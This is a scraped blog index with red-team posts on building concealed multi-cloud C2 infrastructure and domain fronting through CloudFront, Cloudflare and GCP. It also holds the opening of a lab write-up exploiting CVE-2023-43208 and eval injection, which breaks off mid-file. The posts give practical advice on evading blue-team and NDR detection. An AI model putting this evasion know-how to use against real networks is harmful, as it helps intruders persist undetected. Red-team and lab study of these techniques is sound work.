Profile redirection rules and of course domain name.\nCloud Asset Delivery # Simple asset delivery through major cloud providers\u0026rsquo; CDNs to mimick some cloud traffic\u0026hellip;etc\nGithub API and some CI/CD traffic # Mimicking some dev-related traffic to blend in the R\u0026amp;D teams.\nWe can find some templates for these scenarios in this github repo.\nProblems I encountered # Azure CDN isn\u0026rsquo;t on the Azure free tier or github student pack. So the Azure scenario should be dropped if you\u0026rsquo;re relying on free-tier services.\nRelatively long time to gain a Google-signed SSL certificates, so you should have pre-built and required SSL certificates to NOT get flagged by its creation date since it\u0026rsquo;ll get caught easily if it\u0026rsquo;s bought near the time of the compaign.\nSome issues with the terraform files and modules. With the project growing with time, you should set up a unique structure from the beginning to not fall into mistakes and re-writing all the files, names\u0026hellip;etc\nNaming. Be careful with naming, tags and all. They\u0026rsquo;re super boring, annoying and very tiring to look at.\n","date":"2 April 2026","externalUrl":null,"permalink":"/blog/1-red-team-scenario/","section":"Blog","summary":"How to pick the right scenarios before building anything.","title":"Picking Up The Correct Attack Scenario","type":"blog"},{"content":"","date":"2 April 2026","externalUrl":null,"permalink":"/tags/red-team/","section":"Tags","summary":"","title":"Red-Team","type":"tags"},{"content":"","date":"2 April 2026","externalUrl":null,"permalink":"/tags/scenario/","section":"Tags","summary":"","title":"Scenario","type":"tags"},{"content":" Overview # By now, you should already have an idea of what the general idea is. We\u0026rsquo;ve done it with AWS Cloudfront, with Cloudflare and now we\u0026rsquo;ll do exactly the same but with Google Cloud\u0026rsquo;s services.\nFor GCP, we will do exactly as Cloudfront\u0026rsquo;s requires it to, in addition to a mandatory Load Balancer between the redirector and the CDN.\nIf you followed the Cloudfront\u0026rsquo;s Blog Post you should be totally fine applying the exact same steps to get your connection up and going.\nGoogle\u0026rsquo;s scenario # As previously discussed we need a scenario that justifies the use of Goolge\u0026rsquo;s services when viewed by the blue team.\nThe most common idea I could think of is simply mimicking legit and normal internet navigation traffic to blend within normal packets.\nFor that here is what we\u0026rsquo;ll need:\nDomain names mimicking real google analytics or basics visits: You can refer to how to pick up good domain names in Here.\nGoogle CDN distributions and GCP ALBs to link with the redirector.\nA malleable C2 profile that will define the way our implant will talk back to us by defining the headers, the URIs and how/where data is transmitted which will help our network obfuscation if our packets are analyzed.\n# ","date":"1 April 2026","externalUrl":null,"permalink":"/blog/5-domain-fronting-gcp/","section":"Blog","summary":"","title":"Domain Fronting: A Red Team Perspective of GCP CDNs","type":"blog"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/ansible/","section":"Tags","summary":"","title":"Ansible","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/apache/","section":"Tags","summary":"","title":"Apache","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/c2/","section":"Tags","summary":"","title":"C2","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/cdn/","section":"Tags","summary":"","title":"Cdn","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/cloudflare/","section":"Tags","summary":"","title":"Cloudflare","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/cloudfront/","section":"Tags","summary":"","title":"Cloudfront","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/dns/","section":"Tags","summary":"","title":"Dns","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/domain-fronting/","section":"Tags","summary":"","title":"Domain-Fronting","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/evasion/","section":"Tags","summary":"","title":"Evasion","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/gcp/","section":"Tags","summary":"","title":"Gcp","type":"tags"},{"content":" Warning: What\u0026rsquo;s not covered\nEDR/XDR evasion techniques are not our focus for this project.\nOur objective is maintaining the connection with the implant AFTER it has successfully executed and evaded whatever defenses there are.\nWe aim to make it harder for the blue team to spot our traffic in action and let our traffic blend in with the legit traffic.\nWhat is this # Infra Kes7a is a multi-cloud, Infrastructure-as-Code (IaC) framework designed to deploy a resilient Red Team C2 environment. It moves away from the \u0026ldquo;one-server-one-target\u0026rdquo; model of CTFs and instead emulates the sophisticated, multi-layered redirection used by real-world APTs.\nBy leveraging Domain Fronting, Reverse Proxy Filtering, and Automated Failover, this infrastructure ensures that even if your primary communication channel is \u0026ldquo;burned,\u0026rdquo; your operation remains alive through hidden, low-frequency persistence layers.\nWhy I\u0026rsquo;m building this # Most CTF labs and platforms provide great practice and insights into how vulnerabilities are chained and exploited. They are a great way to get our hands dirty and move away from theory.\nBut, let’s be real: Most CTF labs train us to get clapped in a real-world engagement. Attacking from a single VM, extensive unlimited probing, unrestricted data transfer, clear-text and unencrypted channels? As delulu as can be.\nAfter digging into how actual APTs move, I realized their 0-days and advanced evasion skills are supported by a whole ecosystem—not simple attack machines. They build robust, fortified, and fault-tolerant infrastructures from which they carry out long, persistent campaigns without getting caught.\nSo, in an attempt to move away from script kiddie networking, build an infrastructure that is resilient enough to feed my main character syndrome, and manage resources across multiple cloud providers, I\u0026rsquo;m building Infra Kes7a.\nUse cases # Red Team Ops # Executing an engagement where stealth is the priority. It allows operators to use high-reputation CDN domains (AWS, Google, Cloudflare) to mask malicious traffic as legitimate cloud service heartbeats.\nAPT Simulation \u0026amp; Adversary Emulation # Providing a realistic, multi-tier environment so Blue Teams can test detection engineering against techniques like CDN masking and cross-cloud redirection. (BYOAL: Bring Your Own APT Lab).\nHigh quality DFIR Challenges # Instead of a single pcap, authors can generate logs from multiple redirectors, cloud providers, and VPN tunnels to challenge analysts with The Big Picture of a sophisticated attack from an advanced infrastructure\nWhat makes Infra Kes7a actually Kes7a # Feature Standard \u0026ldquo;Lab\u0026rdquo; Setup Infra Kes7a Exposure The main attacking IP is public and easily scanned. The core is isolated behind a full private environment. Response Blue Team blocks the IP, session dies, operation fails. Traffic is redirected to a benign decoy. Deployment Manual setup (Slow/Error-prone). Fully automated via IaC (Terraform/Ansible). Segmentation Single domain for all stages. Tiered domains (Phishing, Persistence, Exfil all isolated and seperated). Resilience Single point of failure. Everything falls out once detected. Short-Haul and Long-Haul, failover logic. The Layers # The fronting server: The exposed endpoint # Major cloud providers offer multiple domain fronting services. These services are generally CDN distributions that:\nOffer as free and valid SSL certificates from high reputation providers (AWS ACM, Google, Cloudflare, Microsoft\u0026hellip;etc)\nAre part of a high reputation network and IP ranges of major vendors (AWS, Google, Microsoft)\nMay provide domain names that are generally whitelisted (example: *.cloudfront.net).\nHelp us blend our traffic with the usual entreprise traffic.\nThis is the first layer of deception in our infrastructure, the part that is logged and view by the blue team.\nClassic and Modern Domain Fronting Modern “domain fronting” no longer relies on mismatching SNI and Host headers (a technique now blocked by major CDNs like Google, AWS, and Cloudflare). Instead, it has evolved into traffic blending: attackers place their infrastructure behind legitimate CDN services and use realistic domain names, paths, and behaviors (e.g., SaaS APIs, analytics endpoints, or static asset delivery) to make traffic appear normal. By leveraging CDN edge networks and redirectors, the goal is no longer to hide the destination domain, but to make communications indistinguishable from legitimate web traffic.\nRedirectors # These are the link between our C2 and the fronting services we setup. This part is the decision maker for the incoming callback.\nIf it is evaluated as :\na legit callback that follows the principles and properties we designed at build time, it forwards it the C2 instance.\nan invalid request, it silently redirects it to a legit website (that fits in our story of course).\nLogs everything and anything and uses this data for further analysis on performance, statistics, any unwanted behavior and blue team traces..\nFortified via custom headers and fake responses that mimick real and trusted servers.\nThe C2 # The brain we set up all these protections for. It controls, commands and orders the infected hosts with the tasks to achieve.\nChoosing which C2 framework to use depends on the target environment and the maturity of the red team. You can view a more comprehensive comparaison on C2 frameworks in The C2 Matrix\nThe Tech Stack # Orchestration: Terraform (Provisioning), Ansible (Configuration). Initial Access: Evilginx (MFA Bypass) \u0026amp; GoPhish (Isolated Stage 0, not linked to the implant\u0026rsquo;s callbacks path). C2 Framework: Mythic (MUltiple agents, HTTPx HTTP and DNS profiles). Network Layer: Restricted isolated access to the hidden instances (the redirectors and C2) Cloud Providers: Redundant deployment across AWS, Google Cloud, DigitalOcean and Microsoft Azure. Takeaway # This project is for when you want to learn more about:\nEngineering a resilient, OPSEC-friendly infrastructure. How APTs maintain persistence via multiple instances and callbacks. How spear phishing is crafted and how hard it can get to spot. Building, connecting, and managing cloud resources from different providers. What IaS is through automating the process of building, configuring, and tearing down the infrastructure at command. ","date":"1 April 2026","externalUrl":null,"permalink":"/blog/0-red-team-infra-overview/","section":"Blog","summary":"A technical overview on Infra Kes7a, a resilient red team infrastructure.","title":"Infra Kes7a - Red Team Infrastructure Overview","type":"blog"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/infrastructure/","section":"Tags","summary":"","title":"Infrastructure","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/multi-cloud/","section":"Tags","summary":"","title":"Multi-Cloud","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/network-security/","section":"Tags","summary":"","title":"Network-Security","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/opsec/","section":"Tags","summary":"","title":"Opsec","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/redirector/","section":"Tags","summary":"","title":"Redirector","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/reverse-proxy/","section":"Tags","summary":"","title":"Reverse-Proxy","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/sni/","section":"Tags","summary":"","title":"Sni","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/terraform/","section":"Tags","summary":"","title":"Terraform","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/tls/","section":"Tags","summary":"","title":"Tls","type":"tags"},{"content":"","date":"1 April 2026","externalUrl":null,"permalink":"/tags/traffic-blending/","section":"Tags","summary":"","title":"Traffic-Blending","type":"tags"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/aws/","section":"Tags","summary":"","title":"Aws","type":"tags"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/certbot/","section":"Tags","summary":"","title":"Certbot","type":"tags"},{"content":" Overview # For this part, we\u0026rsquo;ll be using AWS\u0026rsquo;s Cloudfront domain fronting service to hide our implant\u0026rsquo;s callbacks and blend the traffic it generates within the legit traffic in order to evade NDRs and not trigger any alerts for the blue team.\nCloudfront will act as the middleman between our redirector and the compromised host. The implant will query our domain name, cloudfront will proxy that request encrypt the connection, add its headers and then send it back to our redirector with a encrypted connection.\nPros # Hiding the redirectors IP: Cloudfront is acting as a reverse proxy; the defender will only see valid and trust *.cloudfront.net connections. Whitelisting: *cloudfront.net domains are trusted and known, so these channels can be used to evade egress restrictions. SSL/TLS: Using a valid AWS SSL certificate won\u0026rsquo;t trigger any suspicions like self-signed certificates and will help secure our channel when being inspected. Cons # Setting up View-to-Edge connection # Creating Cloudfront instance # Navigate to Cloudfront page and create an instance.\nCareful If you haven\u0026rsquo;t bought your domain name from Amazon\u0026rsquo;s Route 53, do NOT add your domain name just yet. This field is only for domains bought from their service. We\u0026rsquo;ll do some work after in order to add our domain name.\nTIP I highly recommend you provide detailed names and descriptions of every component of the infrastrucutre. It gets messy very quickly and if you don\u0026rsquo;t have clear steps or you\u0026rsquo;re finding your way in (as me), you will, surely, fuck it up quickly.\nRetrieve the domain name of the redirector EC2 given by AWS. NOT the domain name you bought. This tells which component you want to link Cloudfront with.\nAnd finally disable protections, we don\u0026rsquo;t want to flag our own traffic.\nCustom Header Considerations\nIf you choose to add a custom header in Cloudfront\u0026rsquo;s dashboard, put it mind that the header will be appended in all of your requests and callbacks from your implant. So make sure you correlate your redirector\u0026rsquo;s configuration and rules. And here is how the redirector will receive when we send a simple $curl -I https://domain.tld:\nbashsudo tail -f /var/log/apache2/error.log | grep -E \u0026#34;HEADER|User-Agent\u0026#34; \u0026lt;SNIP\u0026gt; mod_dumpio: dumpio_in \u0026gt;(data-TRANSIENT): User-Agent: curl/8.5.0\\r\\n \u0026lt;SNIP\u0026gt; mod_dumpio: dumpio_in \u0026gt;(data-TRANSIENT): CUSTOM_HEADER_FROM_AWS: WHATEVER_VALUE\\r\\n The header is added even when we didn\u0026rsquo;t include it. So put that in mind.\nLinking a domain name to Cloudfront # Okay now we got a running Cloudfront instance. AWS associate a domain name to it in *.cloudfront.net format. But, we need to link our domain name to it so our implant can call back to us. Calling back directly to a Cloudfront domain is too suspicious and doesn\u0026rsquo;t make sense. It clearly shows that the domain name is of a temporary or staging assets, thus getting us caught.\nNavigate to the distribution\u0026rsquo;s panel and click on add domain\nThe fill out the root domain and subdomains needed for your case:\nAnd we hit an error:\nCERTIFICATE ERROR This is due to AWS\u0026rsquo;s policy and way of associating domains to distributions.\nWe need to have a valid and verified certificate located in us-east-1 via AWS ACM that we will choose as a certificate for our distribution.\nCrafting a valid ACM Certificate # So click on Create Certificate in ACM which will redirect us to the ACM portal. You should be fine filling the next steps:\nSo now we created a Certificate, but as I already mentionned it needs to be valid and verified. \u0026lsquo;Verified\u0026rsquo; means that we need to prove to AWS that we own the domain and we can manage its DNS configuration.\nThis will be done by adding some CNAME records within our DNS configuration.\nCopy the value of the given CNAME records and the new DNS entries should look like this:\nDNS PROXY Do not set proxy status to ON. This will intercept the requests before they reach Cloudfront and proxy them to Cloudflare\u0026rsquo;s servers.\nClouflare will throw an error when trying to add a CNAME record with proxy set to ON, but you still need to know the logic behind it.\nAnd finally, don\u0026rsquo;t forget these two entries telling Cloudflare to make your domain.tld an alias for the Cloudfront\u0026rsquo;s domain name:\nWithout them, your domain.tld isn\u0026rsquo;t linked to Cloudfornt and isn\u0026rsquo;t an alias for the main distribution\u0026rsquo;s domain name. So we need them first to proxy our traffic to cloudfront. That\u0026rsquo;s it.\nBy now we should see the succesful verification. It shouldn\u0026rsquo;t take more than a couple of minutes:\nClient-side Success So now, we have linked our domain to Cloudfront.\nTesting and validation # Intuitively, independently from the redirector\u0026rsquo;s rules, let\u0026rsquo;s curl the domain and see what we get back\nbashcurl -k -A \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\u0026#34; -H \u0026#34;DNT: 1\u0026#34; https://domain.tld \u0026lt;!DOCTYPE HTML PUBLIC \u0026#34;-//W3C//DTD HTML 4.01 Transitional//EN\u0026#34; \u0026#34;http://www.w3.org/TR/html4/loose.dtd\u0026#34;\u0026gt; \u0026lt;HTML\u0026gt;\u0026lt;HEAD\u0026gt;\u0026lt;META HTTP-EQUIV=\u0026#34;Content-Type\u0026#34; CONTENT=\u0026#34;text/html; charset=UTF-8\u0026#34;\u0026gt; \u0026lt;TITLE\u0026gt;ERROR: The request could not be satisfied\u0026lt;/TITLE\u0026gt; \u0026lt;/HEAD\u0026gt;\u0026lt;BODY\u0026gt; \u0026lt;H1\u0026gt;502 Bad Gateway ERROR\u0026lt;/H1\u0026gt; \u0026lt;H2\u0026gt;The request could not be satisfied.\u0026lt;/H2\u0026gt; \u0026lt;HR noshade size=\u0026#34;1px\u0026#34;\u0026gt; We can\u0026#39;t connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner. \u0026lt;BR clear=\u0026#34;all\u0026#34;\u0026gt; If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation. \u0026lt;BR clear=\u0026#34;all\u0026#34;\u0026gt; \u0026lt;HR noshade size=\u0026#34;1px\u0026#34;\u0026gt; \u0026lt;PRE\u0026gt; Generated by cloudfront (CloudFront) HTTP3 Server Request ID: yzKKc98mkrPcgCsGY0wx7clYyZNHm6HwZuaqdjh7wN63LVGgCUQlbw\u0026amp;#x3D;\u0026amp;#x3D; \u0026lt;/PRE\u0026gt; \u0026lt;ADDRESS\u0026gt; \u0026lt;/ADDRESS\u0026gt; \u0026lt;/BODY\u0026gt;\u0026lt;/HTML\u0026gt;HTTP/2 502 content-type: text/html; charset=UTF-8 content-length: 932 date: Thu, 26 Mar 2026 00:01:47 GMT x-cache: Error from cloudfront via: 1.1 7fb6a67b54f1292982508050e491d34c.cloudfront.net (CloudFront) x-amz-cf-pop: MXP53-P4 x-amz-cf-id: EmIm8djtLQvhDZDO6PvF_ziaj6BfYrAKT4KXskyf51GVraCItoE23g== What we\u0026rsquo;re seeing here is cloudfront telling us that the request passed their servers correctly and without any client-side errors, but the target server behind it -our redirector- isn\u0026rsquo;t responding correctly. So this is a server-side error, which may seem bizarre but it is not. All we need now is checking how Cloudfront is communicating with our redirector. But the client-side is fine. Let\u0026rsquo;s move on.\nSetting up the Edge-to-Origin connection # What\u0026rsquo;s happening\nIntuitively, we\u0026rsquo;ve been setting up the client-side only from the start, configuring the domain \u0026hellip;etc but we didn\u0026rsquo;t tell our redirector anything or link it to Cloudfront in any way.\nThe server-side error that occured is due to how AWS trusts certificates. Currently, we didn\u0026rsquo;t configure the connection between Cloudfront and the redirector so we need to create a certificate and finally link both parties.\nCareful if using another provider\u0026rsquo;s SSL certificate AWS won\u0026rsquo;t trust Cloudflare\u0026rsquo;s certificate, I don\u0026rsquo;t why but it didn\u0026rsquo;t, so the connection between the redirector and Cloudfront should be done using a certbot certificate that we create maually.\nCrafting a certificate # bash$sudo apt install certbot python3-certbot-apache -y $sudo certbot --apache -d enit-kedux.site -d www.enit-kedux.site This will create and manage our certificate and modify the /etc/apache2/sites-available/redirector.conf file like the following:\nThe cloudfront\u0026rsquo;s part will be discussed in the next post. For now focus on the lines responsible of the SSL certificate part.\nYou can already view the headers added by Cloudfront\nFinal result # Everything should be fine, the responses will vary based on your redirector\u0026rsquo;s configuration and rules.\nValid request # Exactly as setup, and a succesful redirection to Microsoft\u0026rsquo;s website.\nYou can now validate your redirector\u0026rsquo;s rules and shit.\nDynamic IP behavior of Cloudfront # Cloudfront\u0026rsquo;s distribution will always change its IP address which makes it really helpful agaist IP blacklisting.\nYou can verify that these are from AWS IP ranges using this command:\nbash$ whois 3.172.97.238 ─╯ \u0026lt;SNIP\u0026gt; NetRange: 3.128.0.0 - 3.255.255.255 CIDR: 3.128.0.0/9 NetName: AT-88-Z NetHandle: NET-3-128-0-0-1 Parent: NET3 (NET-3-0-0-0-0) NetType: Direct Allocation OriginAS: Organization: Amazon Technologies Inc. (AT-88-Z) RegDate: 2018-06-25 Updated: 2018-09-13 Ref: https://rdap.arin.net/registry/ip/3.128.0.0 OrgName: Amazon Technologies Inc. \u0026lt;SNIP\u0026gt; Logging in CloudWatch # Making good use of CloudWatch to validate the requests we send:\nIntercepting the packets # After some filtering, we can view the encrypted HTTPS session the curl command created:\n","date":"27 March 2026","externalUrl":null,"permalink":"/blog/3-domain-fronting-cloudfront/","section":"Blog","summary":"Cloudfront for Domain Fronting: Diguising C2 traffic as trusted CDN communication.","title":"Domain Fronting: A Red Teamer perspective of AWS Cloudfront","type":"blog"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/ssl/","section":"Tags","summary":"","title":"Ssl","type":"tags"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/traffic-obfuscation/","section":"Tags","summary":"","title":"Traffic-Obfuscation","type":"tags"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/c2-infrastructure/","section":"Tags","summary":"","title":"C2-Infrastructure","type":"tags"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/covert-communication/","section":"Tags","summary":"","title":"Covert-Communication","type":"tags"},{"content":" Overview # The hard part isn\u0026rsquo;t about finding a vulnerability in the target assets, that, as a matter of fact, is very common and we\u0026rsquo;re pretty sure we will find some. But, maintaining that connection without getting caught by NDRs and blue teamer is challenging. So our C2 communications should look legit, logic and very well blend within the usual and common traffic sinffed by NDRs. In this post we\u0026rsquo;re aiming at hiding the outbound C2 traffic from the compromised host to our redirector (which will then forward it to our C2 if it matches the correct rules).\nThe idea is to get the implant to connect to our domain (which we already verified its categorization, legitemacy, name choice..etc) using valid SSL certificate from a known provider which will make the traffic look normal and wouldn\u0026rsquo;t trigger any alerts caused by custom certs.\nFor our case, we\u0026rsquo;ll use a full encryption between the implant, Cloudflare and the redirector, so not only between the client (the implant) and Cloudflare, but also between Cloudflare and the redirector. This will limit the firewall rules we put for our redirector, protects all the channel from both client and server side and ensures the tunnel cannot be decrypted.\nWarning Of course, the payload delivery isn\u0026rsquo;t coverred in this part. This is all about an opsec-complient post-exploitation persistence.\nWe assume we already have a foothold within the target network.\nCloudflare for DNS management # Switching to Cloudflare # First, we need to make cloudflare as our DNS management platform to proxy the connections to our domain via cloudflare nameservers. This could be done from whatever registrar your bought your domain from and it is pretyy much straightforward to acheive.\nVisit Cloudflare dashboard. Click on Add domain. Fill out the domain name field and the other Bots settings (Block all) and the free plan (of course). Cloudflare will give you the nameservers you\u0026rsquo;ll need to connect your domain to cloudflare\u0026rsquo;s proxies. Visit your registrar\u0026rsquo;s management page for your domain Go on the nameservers settings, delete the nameservers your find and add cloudflare ones. Now you can manage your domain\u0026rsquo;s DNS settings from Cloudflare dashboard, you\u0026rsquo;ll receive a mail from Clouflare as soon as it links. Wait for a couple a minutes for it to propagate properly, and you\u0026rsquo;re ready to go. Testing # testing Nameservers # bash$whois domain.tld $nslookup domain.tld $dig ns domain.tld Which will show Cloudlfare\u0026rsquo;s given nameservers.\nTesting Propagation # Or visit DNS Checker to see the connectivity of your domain worldwide.\nand our dns config should contain at least these entries (the * depends on your configuration, i removed the * later)\nWe\u0026rsquo;re good to go.\nCloudflare SSL/TLS overview: Flexible vs Full (strict) mode # Cloudflare offers many SSL/TLS configurations:\nFlexible is a client-side configuration. It onyl encrypts incoming traffic and then sends it unencrypted to the redirector. That is the simplest configuration since it won\u0026rsquo;t cause any certificate issues. But that ain\u0026rsquo;t us.\nWe\u0026rsquo;ll aim at the Full (strict) mode and its description is self-explanatory.\nFor this, we will need to create a valid cloudflare certificate for the redirector, import it to Apache (or whatever redirector you chose) and go on.\nRequesting a Cloudflare certificate # Go to the Origin Server on SSL/TLS section and request a certificate:\nChoose the subdomains, the private key type and the duration you wish:\nNow, SAFELY save these two files. They shouldn\u0026rsquo;t be shared or open-sourced or bad things will happen, surely.\nand save them to:\n/etc/ssl/certs/enit-kedux.pem /etc/ssl/private/enit-kedux.key Danger SET THE PROPER PERMISSIONS ON THE PRIVATE KEY.\nbashsudo chmod 600 /etc/ssl/private/enit-kedux.key Apache will then import them when restarted.\nClick on Ok and you should be okay\nAbout the certificate Note that you can revoke or download your certificate for later use sharing with other infrastructure maintainers. The essential point is that you should always deal with it safely to not publicly leak it.\nImport the cert to the redirector # Now we should point Apache to where the certificate is. For this we need to add these entries to its /etc/apache2/sites-available/redirector.conf\noutput \u0026lt;SNIP\u0026gt; ServerName domain.tld ServerAlias domain.tld SSLEngine on SSLCertificateFile /etc/ssl/certs/domain.pem SSLCertificateKeyFile /etc/ssl/private/domain.key \u0026lt;SNIP\u0026gt; And /etc/apache2/ports.conf should look like the following:\nbash\u0026lt;IfModule ssl_module\u0026gt; Listen 443 \u0026lt;/IfModule\u0026gt; \u0026lt;IfModule mod_gnutls.c\u0026gt; Listen 443 \u0026lt;/IfModule\u0026gt; Now we should enable the SSL mode and restart Apache.\nbashsudo apache2ctl configtest sudo a2enmod ssl sudo systemctl restart apache2 Tests and Validation # ","date":"27 March 2026","externalUrl":null,"permalink":"/blog/4-domain-fronting-cloudflare/","section":"Blog","summary":"Masquerading the C2 traffic using Cloudflare.","title":"Domain Fronting - A Red Team perspective of Cloudflare","type":"blog"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/evasion-techniques/","section":"Tags","summary":"","title":"Evasion-Techniques","type":"tags"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/https/","section":"Tags","summary":"","title":"Https","type":"tags"},{"content":"","date":"27 March 2026","externalUrl":null,"permalink":"/tags/network-evasion/","section":"Tags","summary":"","title":"Network-Evasion","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/code-template/","section":"Tags","summary":"","title":"Code-Template","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/credential-disclosure/","section":"Tags","summary":"","title":"Credential-Disclosure","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/cve-2023-43208/","section":"Tags","summary":"","title":"Cve-2023-43208","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/database-enumeration/","section":"Tags","summary":"","title":"Database-Enumeration","type":"tags"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/difficulty/","section":"Difficulty","summary":"","title":"Difficulty","type":"difficulty"},{"content":"","date":"22 February 2026","externalUrl":null,"permalink":"/tags/eval-injection/","section":"Tags","summary":"","title":"Eval-Injection","type":"tags"},{"content":" Kill Chain # TL;DR I solved this lab in an unintended way. I got both user and root flag with one step directly from the foothold. It seemed randomish a bit but turns out to be solved in another way.\nDiscovered CVE-2023-43208 which leads to foothold shell as mirth user shell. Found database credentials in web app configuration files. Discovered an internal service running on port 54321 as root processing XML data. Identified SSTI vulnerability in the \u0026lt;firstname\u0026gt; XML field through Python eval() injection. Leveraged SSTI to gain RCE as root. Enumeration # bashecho \u0026#34;$target interpreter.htb\u0026#34; | sudo tee -a /etc/hosts Nmap # bash$ nmap -sV -sC -vv -Pn -T4 -oN _nmap $target PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) 80/tcp open http syn-ack ttl 63 443/tcp open ssl/https syn-ack ttl 63 Failure A full TCP ports and UDP scans didn\u0026rsquo;t show anything useful. So these are the ports we\u0026rsquo;re targetting.\nAnd we can view the web app landing page which shows a heathcare web app and the platform in-use: Mirth Connect.\nWhat is Mirth Connect? - Meditecs Mirth Connect (now often branded as NextGen Connect) is the industry-leading, open-source cross-platform HL7 interface engine used to facilitate bi-directional, real-time data exchange between disparate healthcare systems. It transforms and routes data in various formats (HL7, FHIR, DICOM, CDA) to improve clinical workflows.\nAnd using Wappalyzer, the language in use is Java so that should be considered when sending our payloads later.\nAlso, before enumerating in the GUI, let\u0026rsquo;s fuzz for directories and vhosts a bit.\nFuzzing # bash$ ffuf -w `fzf-wordlists`:FUZZ -u https://10.129.4.9/FUZZ :: Method : GET :: URL : https://10.129.4.9/FUZZ :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 images [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1196ms] css [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 433ms] js [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 285ms] api [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 382ms] webadmin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 78ms] installers [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 81ms] Information Gathering from the Web App # The /api endpoint has way too much informations.\nThis shows a version number which is also confirmed in the XML file webstart.jnlp downloaded via the landing page.\nSo we now have :\nA version number, vulnerable to CVE-2023-43208 which has a ready to use POC in here. The name which hints for an internal functionality: INTERPRETER - HL7 TO XML TO NOTIFY which shows a conversion between HL7 and XML. XML file that shows an inbound template and an outbound template of both XML and HL7. Here is the content of webstart.jnlp:\nxml\u0026lt;channel version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;id\u0026gt;24c915f9-d3e3-462a-a126-3511d3f3cd0a\u0026lt;/id\u0026gt;\\n \u0026lt;nextMetaDataId\u0026gt;2\u0026lt;/nextMetaDataId\u0026gt;\\n \u0026lt;name\u0026gt;INTERPRETER - HL7 TO XML TO NOTIFY\u0026lt;/name\u0026gt;\\n \u0026lt;description\u0026gt;\u0026lt;/description\u0026gt;\\n \u0026lt;revision\u0026gt;5\u0026lt;/revision\u0026gt;\\n \u0026lt;sourceConnector version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;metaDataId\u0026gt;0\u0026lt;/metaDataId\u0026gt;\\n \u0026lt;name\u0026gt;sourceConnector\u0026lt;/name\u0026gt;\\n \u0026lt;properties class=\u0026#34;com.mirth.connect.connectors.tcp.TcpReceiverProperties\u0026#34; version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;pluginProperties/\u0026gt;\\n \u0026lt;listenerConnectorProperties version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;host\u0026gt;0.0.0.0\u0026lt;/host\u0026gt;\\n \u0026lt;port\u0026gt;6661\u0026lt;/port\u0026gt;\\n \u0026lt;/listenerConnectorProperties\u0026gt;\\n \u0026lt;sourceConnectorProperties version=\u0026#34;4.4.0\u0026#34;\u0026gt;\\n \u0026lt;responseVariable\u0026gt;Auto-generate (After source transformer)\u0026lt;/responseVariable\u0026gt;\\n \u0026lt;respondAfterProcessing\u0026gt;true\u0026lt;/respondAfterProcessing\u0026gt;\\n \u0026lt;processBatch\u0026gt;false\u0026lt;/processBatch\u0026gt;\\n \u0026lt;firstResponse\u0026gt;true\u0026lt;/firstResponse\u0026gt;\\n \u0026lt;processingThreads\u0026gt;1\u0026lt;/processingThreads\u0026gt;\\n \u0026lt;resourceIds class=\u0026#34;linked-hash-map\u0026#34;\u0026gt;\\n \u0026lt;entry\u0026gt;\\n \u0026lt;string\u0026gt;Default Resource\u0026lt;/string\u0026gt;\\n \u0026lt;string\u0026gt;[Default Resource]\u0026lt;/string\u0026gt;\\n 